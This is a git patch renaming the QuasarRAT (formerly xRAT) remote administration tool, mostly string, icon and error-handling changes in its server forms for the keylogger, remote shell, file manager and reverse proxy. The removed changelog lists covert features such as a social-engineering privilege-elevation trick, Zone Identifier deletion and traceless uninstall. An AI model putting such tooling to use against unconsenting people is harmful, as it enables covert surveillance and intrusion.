From 82ebb20ecdc4f4ba43683908942bc3bfda8171b1 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 19 Aug 2015 20:37:17 +0200 Subject: [PATCH] More renaming --- CHANGELOG.md | 143 +----------------- CONTRIBUTING.md | 2 +- Server/Core/Data/BuilderProfile.cs | 2 +- Server/Core/Data/Settings.cs | 2 + .../Core/ReverseProxy/ReverseProxyClient.cs | 2 +- Server/Core/Utilities/NoIpUpdater.cs | 2 +- Server/Forms/FrmAbout.Designer.cs | 26 ++-- Server/Forms/FrmAbout.cs | 5 +- Server/Forms/FrmFileManager.cs | 37 +---- Server/Forms/FrmKeylogger.cs | 14 -- Server/Forms/FrmMain.cs | 6 +- Server/Forms/FrmRemoteShell.cs | 14 -- Server/Forms/FrmReverseProxy.cs | 25 ++- Server/Forms/FrmStartupManager.cs | 7 - Server/Forms/FrmTaskManager.cs | 14 -- Server/Properties/Resources.Designer.cs | 4 +- Server/Properties/Resources.resx | 4 +- .../xRAT-64x64.ico => Quasar_Server.ico} | Bin Server/Server.csproj | 4 +- .../{xRAT-64x64.png => Quasar_Server.png} | Bin Server/icons/xRAT-16x16.png | Bin 849 -> 0 bytes Server/icons/xRAT-32x32.png | Bin 2208 -> 0 bytes Server/xRAT-64x64.ico | Bin 32038 -> 0 bytes 23 files changed, 56 insertions(+), 257 deletions(-) rename Server/{icons/xRAT-64x64.ico => Quasar_Server.ico} (100%) rename Server/icons/{xRAT-64x64.png => Quasar_Server.png} (100%) delete mode 100644 Server/icons/xRAT-16x16.png delete mode 100644 Server/icons/xRAT-32x32.png delete mode 100644 Server/xRAT-64x64.ico diff --git a/CHANGELOG.md b/CHANGELOG.md index 11a8260c..db6f73ad 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,141 +1,4 @@ -Changelog - xRAT 2.0 -==================== +#QuasarRAT Changelog -xRAT v2.0.0.0 RELEASE4.1 [12.07.2015] ---- -* Improved No-Ip.com Updater -* **Fixed networking code** -* Fixed RemoteShell error output -* Some minor bugfixes - - -xRAT v2.0.0.0 RELEASE4 [14.06.2015] ---- -* **Changed Target Framework to .NET Framework 3.5 Client Profile** -* Added Startup Manager -* Added Keylogger -* Added Reverse SOCKS5/HTTPS Proxy -* Added option to show Tooltip on Clients with Information about their System -* Added No-Ip.org Support for dynamic IPs -* **Improved Client & Server network code** - * Added Buffer Manager - * Changed compression from LZ4 to QuickLZ - * Fixed reading of packets with length bigger than buffer size - * Changed buffer size to 1MB -* Improved Remote Desktop support for multiple monitors -* Improved Remote Shell -* Improved Settings -* Improved Builder -* Improved File Transfers -* Improved Updating of Clients -* Fixed threading issues -* Fixed memory leak in Server -* Many other bug fixes and small improvements - - -xRAT v2.0.0.0 RELEASE3 [10.08.2014] ---- -* Optimized connection between Client & Server (!) -* Added UPnP support -* Added Upload & Execute -* Updated Protocol Buffers -* Fixed Keepalive between Client & Server (!) -* Fixed and hardened installation on same computer with new mutex -* Some minor fixes - - -xRAT v2.0.0.0 RELEASE2 [24.07.2014] ---- -* Improved Remote Shell -* Added changeable Assembly Information -* Added Computer Commands (Restart, Shutdown, Standby) -* Added dynamic sizes for system information (easily expandable) - * Added Antivirus & Firewall detection -* Extended File Manager (Execute, Delete, Rename) -* Fixed disposing of modal dialog box -* Some minor fixes - - -xRAT v2.0.0.0 RELEASE1 [08.07.2014] ---- -* Added Icon Changer -* Added Remote Shell -* Added profiles to builder (save/load) -* Added motion detection algorithm to Remote Desktop (40-50% faster) -* Added monitor selection to Remote Desktop -* Improved Admin Elevation (waits 3sec before finally shows) -* Improved System Information -* Improved Task Manager->Start Process -* Improved uninstall command to leave no trace on computer -* Improved settings XMl writer/reader if no settings file exists -* Fixed rare bug with uninstall command -* First Stable Release - - -xRAT v2.0.0.0 BETA2 [16.05.2014] ---- -* Added Update Function -* Added renamer (thx li0nsar3c00l) -* Added loading information to System Information -* Added some additional checks to validate PE-Files in Download & Execute command -* Improved version information -* Admin Elevation Trick now gets the language from the System not from GeoIP(thx Domi) -* Fixed showing wrong country flag when country is unknown -* Some minor design changes - - -xRAT v2.0.0.0 BETA1 [14.04.2014] ---- -* Added custom social engineering tactic to elevate Admin privileges (betabot's trick) - * Supports 9 languages -* Added System Information -* Added Show Messagebox -* Added Visit Website [Hidden/Visible] -* Added support for Mouse to Remote Desktop -* Added new Status for User [Active/Idle] -* Added Statistics for Connected Clients and Traffic -* Added Zone Identifier Deletion after downloading Files -* Added Transferlist to File Manager -* Moved GeoIP Location from Server to Client -> increases speed -* Improved Startup Method -* Improved Remote Desktop -* Improved File Manager -* Improved listview in Main Window -* Fixed rare window focus bug -* Fixed some crashes -* Fixed some minor bugs -* First Beta Release - - -xRAT v2.0.0.0 ALPHA3 [31.03.2014] ---- -* Added Settings encryption to Client -* Added detection of Account Type to Client -* Extended Builder -* Optimized File Manager -* Changed Builder exception message -* Small code changes for future updates -* Fixed flickering listview in File Manager and Task Manager -* Fixed wrong sorting in File Manager -* Fixed Remote Desktop crash when exiting without pressing "Stop" first -* Fixed various crashes and exceptions - - -xRAT v2.0.0.0 ALPHA2 [22.03.2014] ---- -* Added Remote Desktop -* Added Task Manager -* Added File Manager -* Added some icons -* Improved Builder -* Optimized code -* Fixed connection count bug -* Fixed client disconnect bug -* Fixed uninstall not working when Client is built with hidden option -* Fixed deleting registry key while uninstalling Client -* Fixed various crashes and exceptions - - -xRAT v2.0.0.0 ALPHA1 [16.03.2014] ---- -* First Alpha Release +##Quasar v1.0.0.0 [TBD] +* First Release diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 690ea374..cc52b2bf 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -8,7 +8,7 @@ ##Guidelines for Pull Requests: -1. Respect xRAT 2.0 coding style. +1. Respect the coding style of QuasarRAT. 2. Make a single change per commit. 3. Make your modification compact - don't reformat source code in your request. It makes code review more difficult. 4. PR of reformatting (changing of ws/TAB, line endings or coding style) of source code won't be accepted. diff --git a/Server/Core/Data/BuilderProfile.cs b/Server/Core/Data/BuilderProfile.cs index 7fd6a937..48ff548c 100644 --- a/Server/Core/Data/BuilderProfile.cs +++ b/Server/Core/Data/BuilderProfile.cs @@ -147,7 +147,7 @@ namespace xServer.Core.Data { get { - return ReadValueSafe("RegistryName", "xRAT Client Startup"); + return ReadValueSafe("RegistryName", "Quasar Client Startup"); } set { diff --git a/Server/Core/Data/Settings.cs b/Server/Core/Data/Settings.cs index ee0bdaf8..a3554db0 100644 --- a/Server/Core/Data/Settings.cs +++ b/Server/Core/Data/Settings.cs @@ -9,6 +9,8 @@ namespace xServer.Core.Data { private static readonly string SettingsPath = Path.Combine(Application.StartupPath, "settings.xml"); + public static string RepositoryURL = @"https://github.com/quasar/QuasarRAT"; + public static ushort ListenPort { get diff --git a/Server/Core/ReverseProxy/ReverseProxyClient.cs b/Server/Core/ReverseProxy/ReverseProxyClient.cs index f311625f..7a8734cc 100644 --- a/Server/Core/ReverseProxy/ReverseProxyClient.cs +++ b/Server/Core/ReverseProxy/ReverseProxyClient.cs @@ -288,7 +288,7 @@ namespace xServer.Core.ReverseProxy } /// - /// xRAT -> ProxyClient + /// Server -> ProxyClient /// /// public void SendToClient(byte[] payload) diff --git a/Server/Core/Utilities/NoIpUpdater.cs b/Server/Core/Utilities/NoIpUpdater.cs index 87810a93..8b68f550 100644 --- a/Server/Core/Utilities/NoIpUpdater.cs +++ b/Server/Core/Utilities/NoIpUpdater.cs @@ -26,7 +26,7 @@ namespace xServer.Core.Utilities { HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(string.Format("http://dynupdate.no-ip.com/nic/update?hostname={0}", Settings.NoIPHost)); request.Proxy = null; - request.UserAgent = string.Format("xRAT No-Ip Updater/2.0 {0}", Settings.NoIPUsername); + request.UserAgent = string.Format("Quasar No-Ip Updater/2.0 {0}", Settings.NoIPUsername); request.Timeout = 10000; request.Headers.Add(HttpRequestHeader.Authorization, string.Format("Basic {0}", Convert.ToBase64String(Encoding.ASCII.GetBytes(string.Format("{0}:{1}", Settings.NoIPUsername, Settings.NoIPPassword))))); request.Method = "GET"; diff --git a/Server/Forms/FrmAbout.Designer.cs b/Server/Forms/FrmAbout.Designer.cs index 8be81065..83497ef0 100644 --- a/Server/Forms/FrmAbout.Designer.cs +++ b/Server/Forms/FrmAbout.Designer.cs @@ -29,7 +29,7 @@ private void InitializeComponent() { System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmAbout)); - this.picXRAT = new System.Windows.Forms.PictureBox(); + this.picIcon = new System.Windows.Forms.PictureBox(); this.lblTitle = new System.Windows.Forms.Label(); this.lblVersion = new System.Windows.Forms.Label(); this.btnOkay = new System.Windows.Forms.Button(); @@ -38,18 +38,18 @@ this.lnkCredits = new System.Windows.Forms.LinkLabel(); this.lnkGithubPage = new System.Windows.Forms.LinkLabel(); this.lblSubTitle = new System.Windows.Forms.Label(); - ((System.ComponentModel.ISupportInitialize)(this.picXRAT)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.picIcon)).BeginInit(); this.SuspendLayout(); // - // picXRAT + // picIcon // - this.picXRAT.Image = global::xServer.Properties.Resources.xRAT_64x64; - this.picXRAT.Location = new System.Drawing.Point(12, 12); - this.picXRAT.Name = "picXRAT"; - this.picXRAT.Size = new System.Drawing.Size(64, 64); - this.picXRAT.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; - this.picXRAT.TabIndex = 0; - this.picXRAT.TabStop = false; + this.picIcon.Image = global::xServer.Properties.Resources.Quasar_Server; + this.picIcon.Location = new System.Drawing.Point(12, 12); + this.picIcon.Name = "picIcon"; + this.picIcon.Size = new System.Drawing.Size(64, 64); + this.picIcon.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize; + this.picIcon.TabIndex = 0; + this.picIcon.TabStop = false; // // lblTitle // @@ -149,7 +149,7 @@ this.Controls.Add(this.btnOkay); this.Controls.Add(this.lblVersion); this.Controls.Add(this.lblTitle); - this.Controls.Add(this.picXRAT); + this.Controls.Add(this.picIcon); this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle; this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); @@ -158,7 +158,7 @@ this.Name = "FrmAbout"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "Quasar - About"; - ((System.ComponentModel.ISupportInitialize)(this.picXRAT)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.picIcon)).EndInit(); this.ResumeLayout(false); this.PerformLayout(); @@ -166,7 +166,7 @@ #endregion - private System.Windows.Forms.PictureBox picXRAT; + private System.Windows.Forms.PictureBox picIcon; private System.Windows.Forms.Label lblTitle; private System.Windows.Forms.Label lblVersion; private System.Windows.Forms.Button btnOkay; diff --git a/Server/Forms/FrmAbout.cs b/Server/Forms/FrmAbout.cs index db26623f..88a37305 100644 --- a/Server/Forms/FrmAbout.cs +++ b/Server/Forms/FrmAbout.cs @@ -1,6 +1,7 @@ using System; using System.Diagnostics; using System.Windows.Forms; +using xServer.Core.Data; namespace xServer.Forms { @@ -13,8 +14,8 @@ namespace xServer.Forms lblVersion.Text = "v" + Application.ProductVersion; rtxtContent.Text = Properties.Resources.TermsOfUse; - lnkGithubPage.Links.Add(new LinkLabel.Link { LinkData = "https://github.com/quasar/QuasarRAT" }); - lnkCredits.Links.Add(new LinkLabel.Link { LinkData = "https://github.com/quasar/QuasarRAT#credits" }); + lnkGithubPage.Links.Add(new LinkLabel.Link { LinkData = Settings.RepositoryURL }); + lnkCredits.Links.Add(new LinkLabel.Link { LinkData = Settings.RepositoryURL + "#credits" }); } private void lnkGithubPage_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) diff --git a/Server/Forms/FrmFileManager.cs b/Server/Forms/FrmFileManager.cs index bd8fb275..27a3579a 100644 --- a/Server/Forms/FrmFileManager.cs +++ b/Server/Forms/FrmFileManager.cs @@ -322,7 +322,7 @@ namespace xServer.Forms if (Directory.Exists(_connectClient.Value.DownloadDirectory)) Process.Start(_connectClient.Value.DownloadDirectory); else - MessageBox.Show("No files downloaded yet!", "xRAT 2.0 - File Manager", MessageBoxButtons.OK, + MessageBox.Show("No files downloaded yet!", "File Manager", MessageBoxButtons.OK, MessageBoxIcon.Information); } @@ -474,13 +474,6 @@ namespace xServer.Forms catch (InvalidOperationException) { } - catch (Exception ex) - { - MessageBox.Show( - string.Format( - "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", - ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); - } } public void ClearFileBrowser() @@ -495,13 +488,6 @@ namespace xServer.Forms catch (InvalidOperationException) { } - catch (Exception ex) - { - MessageBox.Show( - string.Format( - "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", - ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); - } } public void AddItemToFileBrowser(ListViewItem lvi) @@ -516,13 +502,6 @@ namespace xServer.Forms catch (InvalidOperationException) { } - catch (Exception ex) - { - MessageBox.Show( - string.Format( - "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", - ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); - } } public void AddTransfer(int id, string status, string filename) @@ -539,13 +518,6 @@ namespace xServer.Forms catch (InvalidOperationException) { } - catch (Exception ex) - { - MessageBox.Show( - string.Format( - "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", - ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); - } } public int GetTransferIndex(int id) @@ -586,13 +558,6 @@ namespace xServer.Forms catch (InvalidOperationException) { } - catch (Exception ex) - { - MessageBox.Show( - string.Format( - "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", - ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); - } } /// diff --git a/Server/Forms/FrmKeylogger.cs b/Server/Forms/FrmKeylogger.cs index 8d9edcac..16511202 100644 --- a/Server/Forms/FrmKeylogger.cs +++ b/Server/Forms/FrmKeylogger.cs @@ -81,13 +81,6 @@ namespace xServer.Forms catch (InvalidOperationException) { } - catch (Exception ex) - { - MessageBox.Show( - string.Format( - "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", - ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); - } } public void SetGetLogsEnabled(bool enabled) @@ -102,13 +95,6 @@ namespace xServer.Forms catch (InvalidOperationException) { } - catch (Exception ex) - { - MessageBox.Show( - string.Format( - "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", - ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); - } } private void lstLogs_ColumnClick(object sender, ColumnClickEventArgs e) diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index 1971c720..ca6aa5ae 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -65,8 +65,8 @@ namespace xServer.Forms { int selected = lstClients.SelectedItems.Count; this.Text = (selected > 0) ? - string.Format("xRAT 2.0 - Connected: {0} [Selected: {1}]", ConServer.ConnectedAndAuthenticatedClients, selected) : - string.Format("xRAT 2.0 - Connected: {0}", ConServer.ConnectedAndAuthenticatedClients); + string.Format("Quasar - Connected: {0} [Selected: {1}]", ConServer.ConnectedAndAuthenticatedClients, selected) : + string.Format("Quasar - Connected: {0}", ConServer.ConnectedAndAuthenticatedClients); }); } catch @@ -753,7 +753,7 @@ namespace xServer.Forms private void menuStatistics_Click(object sender, EventArgs e) { if (ConServer.BytesReceived == 0 || ConServer.BytesSent == 0) - MessageBox.Show("Please wait for at least one connected Client!", "xRAT 2.0", MessageBoxButtons.OK, + MessageBox.Show("Please wait for at least one connected Client!", "Quasar", MessageBoxButtons.OK, MessageBoxIcon.Information); else { diff --git a/Server/Forms/FrmRemoteShell.cs b/Server/Forms/FrmRemoteShell.cs index d707c2db..69f7d624 100644 --- a/Server/Forms/FrmRemoteShell.cs +++ b/Server/Forms/FrmRemoteShell.cs @@ -107,13 +107,6 @@ namespace xServer.Forms catch (InvalidOperationException) { } - catch (Exception ex) - { - MessageBox.Show( - string.Format( - "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", - ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); - } } public void PrintError(string errorMessage) @@ -129,13 +122,6 @@ namespace xServer.Forms catch (InvalidOperationException) { } - catch (Exception ex) - { - MessageBox.Show( - string.Format( - "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", - ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); - } } } } \ No newline at end of file diff --git a/Server/Forms/FrmReverseProxy.cs b/Server/Forms/FrmReverseProxy.cs index 4af92e60..2549d3a3 100644 --- a/Server/Forms/FrmReverseProxy.cs +++ b/Server/Forms/FrmReverseProxy.cs @@ -1,5 +1,7 @@ using System; +using System.Net.Sockets; using System.Windows.Forms; +using xServer.Core.Data; using xServer.Core.ReverseProxy; using xServer.Core.Helper; using xServer.Core.Networking; @@ -30,7 +32,7 @@ namespace xServer.Forms { if (_clients.Length > 1) { - this.Text = "xRAT 2.0 - Reverse Proxy [Load-Balancer is active]"; + this.Text = "Reverse Proxy [Load-Balancer is active]"; lblLoadBalance.Text = "The Load Balancer is active, " + _clients.Length + " clients will be used as proxy\r\nKeep refreshing at www.ipchicken.com to see if your ip address will keep changing, if so, it works"; } else if (_clients.Length == 1) @@ -47,7 +49,7 @@ namespace xServer.Forms SocksServer = new ReverseProxyServer(); SocksServer.OnConnectionEstablished += socksServer_onConnectionEstablished; SocksServer.OnUpdateConnection += socksServer_onUpdateConnection; - SocksServer.StartServer(_clients, "0.0.0.0", (int)nudServerPort.Value); + SocksServer.StartServer(_clients, "0.0.0.0", 4782); btnStart.Enabled = false; btnStop.Enabled = true; @@ -56,12 +58,27 @@ namespace xServer.Forms _refreshTimer.Interval = 100; _refreshTimer.Start(); } + catch (SocketException ex) + { + if (ex.ErrorCode == 10048) + { + MessageBox.Show("The port is already in use.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + else + { + MessageBox.Show( + string.Format( + "An unexpected socket error occurred: {0}\n\nError Code: {1}\n\nPlease report this as fast as possible here:\n{2}/issues", + ex.Message, ex.ErrorCode, Settings.RepositoryURL), "Unexpected Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + btnStop_Click(sender, null); + } catch (Exception ex) { MessageBox.Show( string.Format( - "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", - ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); + "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\n{1}/issues", + ex.Message, Settings.RepositoryURL), "Unexpected Error", MessageBoxButtons.OK, MessageBoxIcon.Error); btnStop_Click(sender, null); } } diff --git a/Server/Forms/FrmStartupManager.cs b/Server/Forms/FrmStartupManager.cs index aa82ebc1..162d149d 100644 --- a/Server/Forms/FrmStartupManager.cs +++ b/Server/Forms/FrmStartupManager.cs @@ -105,13 +105,6 @@ namespace xServer.Forms catch (InvalidOperationException) { } - catch (Exception ex) - { - MessageBox.Show( - string.Format( - "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", - ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); - } } public ListViewGroup GetGroup(int group) diff --git a/Server/Forms/FrmTaskManager.cs b/Server/Forms/FrmTaskManager.cs index ee456461..f2c42472 100644 --- a/Server/Forms/FrmTaskManager.cs +++ b/Server/Forms/FrmTaskManager.cs @@ -79,13 +79,6 @@ namespace xServer.Forms catch (InvalidOperationException) { } - catch (Exception ex) - { - MessageBox.Show( - string.Format( - "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", - ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); - } } public void AddProcessToListview(ListViewItem lvi) @@ -100,13 +93,6 @@ namespace xServer.Forms catch (InvalidOperationException) { } - catch (Exception ex) - { - MessageBox.Show( - string.Format( - "An unexpected error occurred: {0}\n\nPlease report this as fast as possible here:\\https://github.com/MaxXor/xRAT/issues", - ex.Message), "", MessageBoxButtons.OK, MessageBoxIcon.Error); - } } private void lstTasks_ColumnClick(object sender, ColumnClickEventArgs e) diff --git a/Server/Properties/Resources.Designer.cs b/Server/Properties/Resources.Designer.cs index 5af38373..bc06d669 100644 --- a/Server/Properties/Resources.Designer.cs +++ b/Server/Properties/Resources.Designer.cs @@ -512,9 +512,9 @@ namespace xServer.Properties { /// /// Sucht eine lokalisierte Ressource vom Typ System.Drawing.Bitmap. /// - internal static System.Drawing.Bitmap xRAT_64x64 { + internal static System.Drawing.Bitmap Quasar_Server { get { - object obj = ResourceManager.GetObject("xRAT_64x64", resourceCulture); + object obj = ResourceManager.GetObject("Quasar_Server", resourceCulture); return ((System.Drawing.Bitmap)(obj)); } } diff --git a/Server/Properties/Resources.resx b/Server/Properties/Resources.resx index c5aa0bc9..2cb22d2c 100644 --- a/Server/Properties/Resources.resx +++ b/Server/Properties/Resources.resx @@ -230,8 +230,8 @@ ..\images\mouse_add.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\icons\xRAT-64x64.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\icons\Quasar_Server.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a ..\Resources\delete.png;System.Drawing.Bitmap, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a diff --git a/Server/icons/xRAT-64x64.ico b/Server/Quasar_Server.ico similarity index 100% rename from Server/icons/xRAT-64x64.ico rename to Server/Quasar_Server.ico diff --git a/Server/Server.csproj b/Server/Server.csproj index 6060ea61..2e186c45 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -42,7 +42,7 @@ - xRAT-64x64.ico + Quasar_Server.ico app.manifest @@ -451,7 +451,7 @@ - + diff --git a/Server/icons/xRAT-64x64.png b/Server/icons/Quasar_Server.png similarity index 100% rename from Server/icons/xRAT-64x64.png rename to Server/icons/Quasar_Server.png diff --git a/Server/icons/xRAT-16x16.png b/Server/icons/xRAT-16x16.png deleted file mode 100644 index 0f34738bbd7e2dfc4b82e95dd8ec5c2826d80bac..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 849 zcmV-X1FrmuP)@pG!G^n(iHY2U!rKLG5b<-WUb58G34DDinc)q;<|MPp^_vJx=m6TqR?H{sw zCoLfn06|b}*R8nq>Ufx-tHlpa`3Gwb_Yc}R#zFABrS)dq=4FXUFc)f8%43d{z4vr? znZdF=P$HJoKg(U7ej@d`;O~l0m=l+9PLD`2HO%n9*ap8BWbRSkuPE<9;}bH@m+Vz9 ziOP2tBS83+77aA+k6*K}q2U!*UDr|NEc04RV8f0F)Yp{mKbo}Tve5Sn;2#i(atfZ- z`*R!4cwp=D9MsuAVA73Qy(=KUiYvm>Z1VzW}Qm3R|d`US; zL_@;}L?qK^?i;kww7VbejHlaej;zdsi%PE-y&mtG1Q3*!cQ?~7Kzo?NH;}s{Fq?Vc z@GL2fK(DXJK9IO6X=45lfNEZtY+X!Y%XC*?pWpx*Mn-tBj{uNF_vbUGx6W;Bd^s>B zK+uM5hoU`$Vs9usyui&>3LNi%<`=oK`FZK3zi0mnh)=n6*3eF-hN;vb{QTQDZ$VCX zTqrBfNd7NiOZ4tJq$0A(-1|fFp0(q^;b z=ip3K#I}n$nYaG{s8sVLl+3gFld*j^00$&VGJamJp>sn*eIM!SbPk6dXL*@OY!yzGnZC>W$BKPo7=GYi!8t^>O&J^S4?G~cb zJ#HHXtlzlx_=i?w6e$wn|H3O{GG6=IZK}Z5S6n16`Apxy?e21)NRDH9T%5w&qw3Ma b%40tPG$1-4!>TVW00000NkvXXu0mjfGyIik diff --git a/Server/icons/xRAT-32x32.png b/Server/icons/xRAT-32x32.png deleted file mode 100644 index f40ebb337229eecce060838f2a112b42e3ef30e1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2208 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 